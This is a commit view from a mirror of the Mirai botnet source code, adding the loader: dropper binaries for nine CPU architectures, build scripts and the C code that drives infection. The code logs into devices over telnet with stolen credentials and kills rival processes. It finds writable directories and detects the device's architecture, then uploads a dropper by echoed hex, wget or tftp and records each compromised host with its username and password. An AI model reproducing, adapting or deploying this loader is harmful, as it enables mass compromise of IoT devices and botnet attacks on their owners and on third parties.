mirror of
https://github.com/jgamblin/Mirai-Source-Code
synced 2025-11-02 00:23:00 +00:00
Trying to Shrink Size
This commit is contained in:
BIN
loader/bins/dlr.arm
Executable file
BIN
loader/bins/dlr.arm
Executable file
Binary file not shown.
BIN
loader/bins/dlr.arm7
Executable file
BIN
loader/bins/dlr.arm7
Executable file
Binary file not shown.
BIN
loader/bins/dlr.m68k
Executable file
BIN
loader/bins/dlr.m68k
Executable file
Binary file not shown.
BIN
loader/bins/dlr.mips
Executable file
BIN
loader/bins/dlr.mips
Executable file
Binary file not shown.
BIN
loader/bins/dlr.mpsl
Executable file
BIN
loader/bins/dlr.mpsl
Executable file
Binary file not shown.
BIN
loader/bins/dlr.ppc
Executable file
BIN
loader/bins/dlr.ppc
Executable file
Binary file not shown.
BIN
loader/bins/dlr.sh4
Executable file
BIN
loader/bins/dlr.sh4
Executable file
Binary file not shown.
BIN
loader/bins/dlr.spc
Executable file
BIN
loader/bins/dlr.spc
Executable file
Binary file not shown.
BIN
loader/bins/dlr.x86
Executable file
BIN
loader/bins/dlr.x86
Executable file
Binary file not shown.
2
loader/build.debug.sh
Executable file
2
loader/build.debug.sh
Executable file
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
gcc -lefence -g -DDEBUG -static -lpthread -pthread -O3 src/*.c -o loader.dbg
|
||||
2
loader/build.sh
Executable file
2
loader/build.sh
Executable file
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
gcc -static -O3 -lpthread -pthread src/*.c -o loader
|
||||
83
loader/src/binary.c
Executable file
83
loader/src/binary.c
Executable file
@@ -0,0 +1,83 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <glob.h>
|
||||
#include "headers/includes.h"
|
||||
#include "headers/binary.h"
|
||||
|
||||
static int bin_list_len = 0;
|
||||
static struct binary **bin_list = NULL;
|
||||
|
||||
BOOL binary_init(void)
|
||||
{
|
||||
glob_t pglob;
|
||||
int i;
|
||||
|
||||
if (glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0)
|
||||
{
|
||||
printf("Failed to load from bins folder!\n");
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < pglob.gl_pathc; i++)
|
||||
{
|
||||
char file_name[256];
|
||||
struct binary *bin;
|
||||
|
||||
bin_list = realloc(bin_list, (bin_list_len + 1) * sizeof (struct binary *));
|
||||
bin_list[bin_list_len] = calloc(1, sizeof (struct binary));
|
||||
bin = bin_list[bin_list_len++];
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("(%d/%d) %s is loading...\n", i + 1, pglob.gl_pathc, pglob.gl_pathv[i]);
|
||||
#endif
|
||||
strcpy(file_name, pglob.gl_pathv[i]);
|
||||
strtok(file_name, ".");
|
||||
strcpy(bin->arch, strtok(NULL, "."));
|
||||
load(bin, pglob.gl_pathv[i]);
|
||||
}
|
||||
|
||||
globfree(&pglob);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
struct binary *binary_get_by_arch(char *arch)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; i < bin_list_len; i++)
|
||||
{
|
||||
if (strcmp(arch, bin_list[i]->arch) == 0)
|
||||
return bin_list[i];
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static BOOL load(struct binary *bin, char *fname)
|
||||
{
|
||||
FILE *file;
|
||||
char rdbuf[BINARY_BYTES_PER_ECHOLINE];
|
||||
int n;
|
||||
|
||||
if ((file = fopen(fname, "r")) == NULL)
|
||||
{
|
||||
printf("Failed to open %s for parsing\n", fname);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
while ((n = fread(rdbuf, sizeof (char), BINARY_BYTES_PER_ECHOLINE, file)) != 0)
|
||||
{
|
||||
char *ptr;
|
||||
int i;
|
||||
|
||||
bin->hex_payloads = realloc(bin->hex_payloads, (bin->hex_payloads_len + 1) * sizeof (char *));
|
||||
bin->hex_payloads[bin->hex_payloads_len] = calloc(sizeof (char), (4 * n) + 8);
|
||||
ptr = bin->hex_payloads[bin->hex_payloads_len++];
|
||||
|
||||
for (i = 0; i < n; i++)
|
||||
ptr += sprintf(ptr, "\\x%02x", (uint8_t)rdbuf[i]);
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
657
loader/src/connection.c
Executable file
657
loader/src/connection.c
Executable file
@@ -0,0 +1,657 @@
|
||||
#include <sys/socket.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <pthread.h>
|
||||
#include "headers/includes.h"
|
||||
#include "headers/connection.h"
|
||||
#include "headers/server.h"
|
||||
#include "headers/binary.h"
|
||||
#include "headers/util.h"
|
||||
|
||||
void connection_open(struct connection *conn)
|
||||
{
|
||||
pthread_mutex_lock(&conn->lock);
|
||||
|
||||
conn->rdbuf_pos = 0;
|
||||
conn->last_recv = time(NULL);
|
||||
conn->timeout = 10;
|
||||
conn->echo_load_pos = 0;
|
||||
conn->state_telnet = TELNET_CONNECTING;
|
||||
conn->success = FALSE;
|
||||
conn->open = TRUE;
|
||||
conn->bin = NULL;
|
||||
conn->echo_load_pos = 0;
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Called connection_open\n", conn->fd);
|
||||
#endif
|
||||
|
||||
pthread_mutex_unlock(&conn->lock);
|
||||
}
|
||||
|
||||
void connection_close(struct connection *conn)
|
||||
{
|
||||
pthread_mutex_lock(&conn->lock);
|
||||
|
||||
if (conn->open)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Shut down connection\n", conn->fd);
|
||||
#endif
|
||||
memset(conn->output_buffer.data, 0, sizeof(conn->output_buffer.data));
|
||||
conn->output_buffer.deadline = 0;
|
||||
conn->last_recv = 0;
|
||||
conn->open = FALSE;
|
||||
conn->retry_bin = FALSE;
|
||||
conn->ctrlc_retry = FALSE;
|
||||
memset(conn->rdbuf, 0, sizeof(conn->rdbuf));
|
||||
conn->rdbuf_pos = 0;
|
||||
|
||||
if (conn->srv == NULL)
|
||||
{
|
||||
printf("srv == NULL\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (conn->success)
|
||||
{
|
||||
ATOMIC_INC(&conn->srv->total_successes);
|
||||
fprintf(stderr, "OK|%d.%d.%d.%d:%d %s:%s %s\n",
|
||||
conn->info.addr & 0xff, (conn->info.addr >> 8) & 0xff, (conn->info.addr >> 16) & 0xff, (conn->info.addr >> 24) & 0xff,
|
||||
ntohs(conn->info.port),
|
||||
conn->info.user, conn->info.pass, conn->info.arch);
|
||||
}
|
||||
else
|
||||
{
|
||||
ATOMIC_INC(&conn->srv->total_failures);
|
||||
fprintf(stderr, "ERR|%d.%d.%d.%d:%d %s:%s %s|%d\n",
|
||||
conn->info.addr & 0xff, (conn->info.addr >> 8) & 0xff, (conn->info.addr >> 16) & 0xff, (conn->info.addr >> 24) & 0xff,
|
||||
ntohs(conn->info.port),
|
||||
conn->info.user, conn->info.pass, conn->info.arch,
|
||||
conn->state_telnet);
|
||||
}
|
||||
}
|
||||
conn->state_telnet = TELNET_CLOSED;
|
||||
|
||||
if (conn->fd != -1)
|
||||
{
|
||||
close(conn->fd);
|
||||
conn->fd = -1;
|
||||
ATOMIC_DEC(&conn->srv->curr_open);
|
||||
}
|
||||
|
||||
pthread_mutex_unlock(&conn->lock);
|
||||
}
|
||||
|
||||
int connection_consume_iacs(struct connection *conn)
|
||||
{
|
||||
int consumed = 0;
|
||||
uint8_t *ptr = conn->rdbuf;
|
||||
|
||||
while (consumed < conn->rdbuf_pos)
|
||||
{
|
||||
int i;
|
||||
|
||||
if (*ptr != 0xff)
|
||||
break;
|
||||
else if (*ptr == 0xff)
|
||||
{
|
||||
if (!can_consume(conn, ptr, 1))
|
||||
break;
|
||||
if (ptr[1] == 0xff)
|
||||
{
|
||||
ptr += 2;
|
||||
consumed += 2;
|
||||
continue;
|
||||
}
|
||||
else if (ptr[1] == 0xfd)
|
||||
{
|
||||
uint8_t tmp1[3] = {255, 251, 31};
|
||||
uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};
|
||||
|
||||
if (!can_consume(conn, ptr, 2))
|
||||
break;
|
||||
if (ptr[2] != 31)
|
||||
goto iac_wont;
|
||||
|
||||
ptr += 3;
|
||||
consumed += 3;
|
||||
|
||||
send(conn->fd, tmp1, 3, MSG_NOSIGNAL);
|
||||
send(conn->fd, tmp2, 9, MSG_NOSIGNAL);
|
||||
}
|
||||
else
|
||||
{
|
||||
iac_wont:
|
||||
|
||||
if (!can_consume(conn, ptr, 2))
|
||||
break;
|
||||
|
||||
for (i = 0; i < 3; i++)
|
||||
{
|
||||
if (ptr[i] == 0xfd)
|
||||
ptr[i] = 0xfc;
|
||||
else if (ptr[i] == 0xfb)
|
||||
ptr[i] = 0xfd;
|
||||
}
|
||||
|
||||
send(conn->fd, ptr, 3, MSG_NOSIGNAL);
|
||||
ptr += 3;
|
||||
consumed += 3;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
int connection_consume_login_prompt(struct connection *conn)
|
||||
{
|
||||
char *pch;
|
||||
int i, prompt_ending = -1;
|
||||
|
||||
for (i = conn->rdbuf_pos; i >= 0; i--)
|
||||
{
|
||||
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("matched login prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf);
|
||||
#endif
|
||||
prompt_ending = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (prompt_ending == -1)
|
||||
{
|
||||
int tmp;
|
||||
|
||||
if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1)
|
||||
prompt_ending = tmp;
|
||||
else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1)
|
||||
prompt_ending = tmp;
|
||||
}
|
||||
|
||||
if (prompt_ending == -1)
|
||||
return 0;
|
||||
else
|
||||
return prompt_ending;
|
||||
}
|
||||
|
||||
int connection_consume_password_prompt(struct connection *conn)
|
||||
{
|
||||
char *pch;
|
||||
int i, prompt_ending = -1;
|
||||
|
||||
for (i = conn->rdbuf_pos; i >= 0; i--)
|
||||
{
|
||||
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("matched password prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf);
|
||||
#endif
|
||||
prompt_ending = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (prompt_ending == -1)
|
||||
{
|
||||
int tmp;
|
||||
|
||||
if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "assword", 7)) != -1)
|
||||
prompt_ending = tmp;
|
||||
}
|
||||
|
||||
if (prompt_ending == -1)
|
||||
return 0;
|
||||
else
|
||||
return prompt_ending;
|
||||
}
|
||||
|
||||
int connection_consume_prompt(struct connection *conn)
|
||||
{
|
||||
char *pch;
|
||||
int i, prompt_ending = -1;
|
||||
|
||||
for (i = conn->rdbuf_pos; i >= 0; i--)
|
||||
{
|
||||
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("matched any prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf);
|
||||
#endif
|
||||
prompt_ending = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (prompt_ending == -1)
|
||||
return 0;
|
||||
else
|
||||
return prompt_ending;
|
||||
}
|
||||
|
||||
int connection_consume_verify_login(struct connection *conn)
|
||||
{
|
||||
int prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (prompt_ending == -1)
|
||||
return 0;
|
||||
else
|
||||
return prompt_ending;
|
||||
}
|
||||
|
||||
int connection_consume_psoutput(struct connection *conn)
|
||||
{
|
||||
int offset;
|
||||
char *start = conn->rdbuf;
|
||||
int i, ii;
|
||||
|
||||
offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
for (i = 0; i < (offset == -1 ? conn->rdbuf_pos : offset); i++)
|
||||
{
|
||||
if (conn->rdbuf[i] == '\r')
|
||||
conn->rdbuf[i] = 0;
|
||||
else if (conn->rdbuf[i] == '\n')
|
||||
{
|
||||
uint8_t option_on = 0;
|
||||
BOOL last_character_was_space = FALSE;
|
||||
char *pid_str = NULL, *proc_name = NULL;
|
||||
|
||||
conn->rdbuf[i] = 0;
|
||||
for (ii = 0; ii < ((char *)&conn->rdbuf[i] - start); ii++)
|
||||
{
|
||||
if (start[ii] == ' ' || start[ii] == '\t' || start[ii] == 0)
|
||||
{
|
||||
if (option_on > 0 && !last_character_was_space)
|
||||
option_on++;
|
||||
start[ii] = 0;
|
||||
last_character_was_space = TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (option_on == 0)
|
||||
{
|
||||
pid_str = &start[ii];
|
||||
option_on++;
|
||||
}
|
||||
else if (option_on >= 3 && option_on <= 5 && last_character_was_space)
|
||||
{
|
||||
proc_name = &start[ii];
|
||||
}
|
||||
last_character_was_space = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (pid_str != NULL && proc_name != NULL)
|
||||
{
|
||||
int pid = atoi(pid_str);
|
||||
int len_proc_name = strlen(proc_name);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("pid: %d, proc_name: %s\n", pid, proc_name);
|
||||
#endif
|
||||
|
||||
if (pid != 1 && (strcmp(proc_name, "init") == 0 || strcmp(proc_name, "[init]") == 0)) // Kill the second init
|
||||
util_sockprintf(conn->fd, "/bin/busybox kill -9 %d\r\n", pid);
|
||||
else if (pid > 400)
|
||||
{
|
||||
int num_count = 0;
|
||||
int num_alphas = 0;
|
||||
|
||||
for (ii = 0; ii < len_proc_name; ii++)
|
||||
{
|
||||
if (proc_name[ii] >= '0' && proc_name[ii] <= '9')
|
||||
num_count++;
|
||||
else if ((proc_name[ii] >= 'a' && proc_name[ii] <= 'z') || (proc_name[ii] >= 'A' && proc_name[ii] <= 'Z'))
|
||||
{
|
||||
num_alphas++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (num_alphas == 0 && num_count > 0)
|
||||
{
|
||||
//util_sockprintf(conn->fd, "/bin/busybox cat /proc/%d/environ", pid); // lol
|
||||
#ifdef DEBUG
|
||||
printf("Killing suspicious process (pid=%d, name=%s)\n", pid, proc_name);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "/bin/busybox kill -9 %d\r\n", pid);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
start = conn->rdbuf + i + 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (offset == -1)
|
||||
{
|
||||
if (conn->rdbuf_pos > 7168)
|
||||
{
|
||||
memmove(conn->rdbuf, conn->rdbuf + 6144, conn->rdbuf_pos - 6144);
|
||||
conn->rdbuf_pos -= 6144;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
for (i = 0; i < conn->rdbuf_pos; i++)
|
||||
{
|
||||
if (conn->rdbuf[i] == 0)
|
||||
conn->rdbuf[i] = ' ';
|
||||
}
|
||||
return offset;
|
||||
}
|
||||
}
|
||||
|
||||
int connection_consume_mounts(struct connection *conn)
|
||||
{
|
||||
char linebuf[256];
|
||||
int linebuf_pos = 0, num_whitespaces = 0;
|
||||
int i, prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (prompt_ending == -1)
|
||||
return 0;
|
||||
|
||||
for (i = 0; i < prompt_ending; i++)
|
||||
{
|
||||
|
||||
if (linebuf_pos == sizeof(linebuf) - 1)
|
||||
{
|
||||
// why are we here
|
||||
break;
|
||||
}
|
||||
|
||||
if (conn->rdbuf[i] == '\n')
|
||||
{
|
||||
char *path, *mnt_info;
|
||||
|
||||
linebuf[linebuf_pos++] = 0;
|
||||
|
||||
strtok(linebuf, " "); // Skip name of partition
|
||||
if ((path = strtok(NULL, " ")) == NULL)
|
||||
goto dirs_end_line;
|
||||
if (strtok(NULL, " ") == NULL) // Skip type of partition
|
||||
goto dirs_end_line;
|
||||
if ((mnt_info = strtok(NULL, " ")) == NULL)
|
||||
goto dirs_end_line;
|
||||
|
||||
if (path[strlen(path) - 1] == '/')
|
||||
path[strlen(path) - 1] = 0;
|
||||
|
||||
if (util_memsearch(mnt_info, strlen(mnt_info), "rw", 2) != -1)
|
||||
{
|
||||
util_sockprintf(conn->fd, "/bin/busybox echo -e '%s%s' > %s/.nippon; /bin/busybox cat %s/.nippon; /bin/busybox rm %s/.nippon\r\n",
|
||||
VERIFY_STRING_HEX, path, path, path, path, path);
|
||||
}
|
||||
|
||||
dirs_end_line:
|
||||
linebuf_pos = 0;
|
||||
}
|
||||
else if (conn->rdbuf[i] == ' ' || conn->rdbuf[i] == '\t')
|
||||
{
|
||||
if (num_whitespaces++ == 0)
|
||||
linebuf[linebuf_pos++] = conn->rdbuf[i];
|
||||
}
|
||||
else if (conn->rdbuf[i] != '\r')
|
||||
{
|
||||
num_whitespaces = 0;
|
||||
linebuf[linebuf_pos++] = conn->rdbuf[i];
|
||||
}
|
||||
}
|
||||
|
||||
util_sockprintf(conn->fd, "/bin/busybox echo -e '%s/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon\r\n",
|
||||
VERIFY_STRING_HEX);
|
||||
|
||||
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
|
||||
return prompt_ending;
|
||||
}
|
||||
|
||||
int connection_consume_written_dirs(struct connection *conn)
|
||||
{
|
||||
int end_pos, i, offset, total_offset = 0;
|
||||
BOOL found_writeable = FALSE;
|
||||
|
||||
if ((end_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE))) == -1)
|
||||
return 0;
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
char *pch;
|
||||
int pch_len;
|
||||
|
||||
offset = util_memsearch(conn->rdbuf + total_offset, end_pos - total_offset, VERIFY_STRING_CHECK, strlen(VERIFY_STRING_CHECK));
|
||||
if (offset == -1)
|
||||
break;
|
||||
total_offset += offset;
|
||||
|
||||
pch = strtok(conn->rdbuf + total_offset, "\n");
|
||||
if (pch == NULL)
|
||||
continue;
|
||||
pch_len = strlen(pch);
|
||||
|
||||
if (pch[pch_len - 1] == '\r')
|
||||
pch[pch_len - 1] = 0;
|
||||
|
||||
util_sockprintf(conn->fd, "rm %s/.t; rm %s/.sh; rm %s/.human\r\n", pch, pch, pch);
|
||||
if (!found_writeable)
|
||||
{
|
||||
if (pch_len < 31)
|
||||
{
|
||||
strcpy(conn->info.writedir, pch);
|
||||
found_writeable = TRUE;
|
||||
}
|
||||
else
|
||||
connection_close(conn);
|
||||
}
|
||||
}
|
||||
|
||||
return end_pos;
|
||||
}
|
||||
|
||||
int connection_consume_copy_op(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
return offset;
|
||||
}
|
||||
|
||||
int connection_consume_arch(struct connection *conn)
|
||||
{
|
||||
if (!conn->info.has_arch)
|
||||
{
|
||||
struct elf_hdr *ehdr;
|
||||
int elf_start_pos;
|
||||
|
||||
if ((elf_start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ELF", 3)) == -1)
|
||||
return 0;
|
||||
elf_start_pos -= 4; // Go back ELF
|
||||
|
||||
ehdr = (struct elf_hdr *)(conn->rdbuf + elf_start_pos);
|
||||
conn->info.has_arch = TRUE;
|
||||
|
||||
switch (ehdr->e_ident[EI_DATA])
|
||||
{
|
||||
case EE_NONE:
|
||||
return 0;
|
||||
case EE_BIG:
|
||||
#ifdef LOADER_LITTLE_ENDIAN
|
||||
ehdr->e_machine = htons(ehdr->e_machine);
|
||||
#endif
|
||||
break;
|
||||
case EE_LITTLE:
|
||||
#ifdef LOADER_BIG_ENDIAN
|
||||
ehdr->e_machine = htons(ehdr->e_machine);
|
||||
#endif
|
||||
break;
|
||||
}
|
||||
|
||||
/* arm mpsl spc m68k ppc x86 mips sh4 */
|
||||
if (ehdr->e_machine == EM_ARM || ehdr->e_machine == EM_AARCH64)
|
||||
strcpy(conn->info.arch, "arm");
|
||||
else if (ehdr->e_machine == EM_MIPS || ehdr->e_machine == EM_MIPS_RS3_LE)
|
||||
{
|
||||
if (ehdr->e_ident[EI_DATA] == EE_LITTLE)
|
||||
strcpy(conn->info.arch, "mpsl");
|
||||
else
|
||||
strcpy(conn->info.arch, "mips");
|
||||
}
|
||||
else if (ehdr->e_machine == EM_386 || ehdr->e_machine == EM_486 || ehdr->e_machine == EM_860 || ehdr->e_machine == EM_X86_64)
|
||||
strcpy(conn->info.arch, "x86");
|
||||
else if (ehdr->e_machine == EM_SPARC || ehdr->e_machine == EM_SPARC32PLUS || ehdr->e_machine == EM_SPARCV9)
|
||||
strcpy(conn->info.arch, "spc");
|
||||
else if (ehdr->e_machine == EM_68K || ehdr->e_machine == EM_88K)
|
||||
strcpy(conn->info.arch, "m68k");
|
||||
else if (ehdr->e_machine == EM_PPC || ehdr->e_machine == EM_PPC64)
|
||||
strcpy(conn->info.arch, "ppc");
|
||||
else if (ehdr->e_machine == EM_SH)
|
||||
strcpy(conn->info.arch, "sh4");
|
||||
else
|
||||
{
|
||||
conn->info.arch[0] = 0;
|
||||
connection_close(conn);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
int offset;
|
||||
|
||||
if ((offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE))) != -1)
|
||||
return offset;
|
||||
if (conn->rdbuf_pos > 7168)
|
||||
{
|
||||
// Hack drain buffer
|
||||
memmove(conn->rdbuf, conn->rdbuf + 6144, conn->rdbuf_pos - 6144);
|
||||
conn->rdbuf_pos -= 6144;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int connection_consume_arm_subtype(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
|
||||
if (util_memsearch(conn->rdbuf, offset, "ARMv7", 5) != -1 || util_memsearch(conn->rdbuf, offset, "ARMv6", 5) != -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Arch has ARMv7!\n", conn->fd);
|
||||
#endif
|
||||
strcpy(conn->info.arch, "arm7");
|
||||
}
|
||||
|
||||
return offset;
|
||||
}
|
||||
|
||||
int connection_consume_upload_methods(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
|
||||
if (util_memsearch(conn->rdbuf, offset, "wget: applet not found", 22) == -1)
|
||||
conn->info.upload_method = UPLOAD_WGET;
|
||||
else if (util_memsearch(conn->rdbuf, offset, "tftp: applet not found", 22) == -1)
|
||||
conn->info.upload_method = UPLOAD_TFTP;
|
||||
else
|
||||
conn->info.upload_method = UPLOAD_ECHO;
|
||||
|
||||
return offset;
|
||||
}
|
||||
|
||||
int connection_upload_echo(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
|
||||
if (conn->bin == NULL)
|
||||
{
|
||||
connection_close(conn);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (conn->echo_load_pos == conn->bin->hex_payloads_len)
|
||||
return offset;
|
||||
|
||||
// echo -ne 'hex' [>]> path/FN_DROPPER
|
||||
util_sockprintf(conn->fd, "echo -ne '%s' %s " FN_DROPPER "; " TOKEN_QUERY "\r\n",
|
||||
conn->bin->hex_payloads[conn->echo_load_pos], (conn->echo_load_pos == 0) ? ">" : ">>");
|
||||
conn->echo_load_pos++;
|
||||
|
||||
// Hack drain
|
||||
memmove(conn->rdbuf, conn->rdbuf + offset, conn->rdbuf_pos - offset);
|
||||
conn->rdbuf_pos -= offset;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int connection_upload_wget(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
|
||||
return offset;
|
||||
}
|
||||
|
||||
int connection_upload_tftp(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
|
||||
if (util_memsearch(conn->rdbuf, offset, "Permission denied", 17) != -1)
|
||||
return offset * -1;
|
||||
|
||||
if (util_memsearch(conn->rdbuf, offset, "timeout", 7) != -1)
|
||||
return offset * -1;
|
||||
|
||||
if (util_memsearch(conn->rdbuf, offset, "illegal option", 14) != -1)
|
||||
return offset * -1;
|
||||
|
||||
return offset;
|
||||
}
|
||||
|
||||
int connection_verify_payload(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, EXEC_RESPONSE, strlen(EXEC_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
|
||||
if (util_memsearch(conn->rdbuf, offset, "listening tun0", 14) == -1)
|
||||
return offset;
|
||||
else
|
||||
return 255 + offset;
|
||||
}
|
||||
|
||||
int connection_consume_cleanup(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
return offset;
|
||||
}
|
||||
|
||||
static BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount)
|
||||
{
|
||||
uint8_t *end = conn->rdbuf + conn->rdbuf_pos;
|
||||
|
||||
return ptr + amount < end;
|
||||
}
|
||||
16
loader/src/headers/binary.h
Executable file
16
loader/src/headers/binary.h
Executable file
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#define BINARY_BYTES_PER_ECHOLINE 128
|
||||
|
||||
struct binary {
|
||||
char arch[6];
|
||||
int hex_payloads_len;
|
||||
char **hex_payloads;
|
||||
};
|
||||
|
||||
BOOL binary_init(void);
|
||||
struct binary *binary_get_by_arch(char *arch);
|
||||
|
||||
static BOOL load(struct binary *bin, char *fname);
|
||||
67
loader/src/headers/connection.h
Executable file
67
loader/src/headers/connection.h
Executable file
@@ -0,0 +1,67 @@
|
||||
#pragma once
|
||||
|
||||
#include <time.h>
|
||||
#include <pthread.h>
|
||||
#include "includes.h"
|
||||
#include "telnet_info.h"
|
||||
|
||||
struct connection {
|
||||
pthread_mutex_t lock;
|
||||
struct server *srv;
|
||||
struct binary *bin;
|
||||
struct telnet_info info;
|
||||
int fd, echo_load_pos;
|
||||
time_t last_recv;
|
||||
enum {
|
||||
TELNET_CLOSED, // 0
|
||||
TELNET_CONNECTING, // 1
|
||||
TELNET_READ_IACS, // 2
|
||||
TELNET_USER_PROMPT, // 3
|
||||
TELNET_PASS_PROMPT, // 4
|
||||
TELNET_WAITPASS_PROMPT, // 5
|
||||
TELNET_CHECK_LOGIN, // 6
|
||||
TELNET_VERIFY_LOGIN, // 7
|
||||
TELNET_PARSE_PS, // 8
|
||||
TELNET_PARSE_MOUNTS, // 9
|
||||
TELNET_READ_WRITEABLE, // 10
|
||||
TELNET_COPY_ECHO, // 11
|
||||
TELNET_DETECT_ARCH, // 12
|
||||
TELNET_ARM_SUBTYPE, // 13
|
||||
TELNET_UPLOAD_METHODS, // 14
|
||||
TELNET_UPLOAD_ECHO, // 15
|
||||
TELNET_UPLOAD_WGET, // 16
|
||||
TELNET_UPLOAD_TFTP, // 17
|
||||
TELNET_RUN_BINARY, // 18
|
||||
TELNET_CLEANUP // 19
|
||||
} state_telnet;
|
||||
struct {
|
||||
char data[512];
|
||||
int deadline;
|
||||
} output_buffer;
|
||||
uint16_t rdbuf_pos, timeout;
|
||||
BOOL open, success, retry_bin, ctrlc_retry;
|
||||
uint8_t rdbuf[8192];
|
||||
};
|
||||
|
||||
void connection_open(struct connection *conn);
|
||||
void connection_close(struct connection *conn);
|
||||
|
||||
int connection_consume_iacs(struct connection *conn);
|
||||
int connection_consume_login_prompt(struct connection *conn);
|
||||
int connection_consume_password_prompt(struct connection *conn);
|
||||
int connection_consume_prompt(struct connection *conn);
|
||||
int connection_consume_verify_login(struct connection *conn);
|
||||
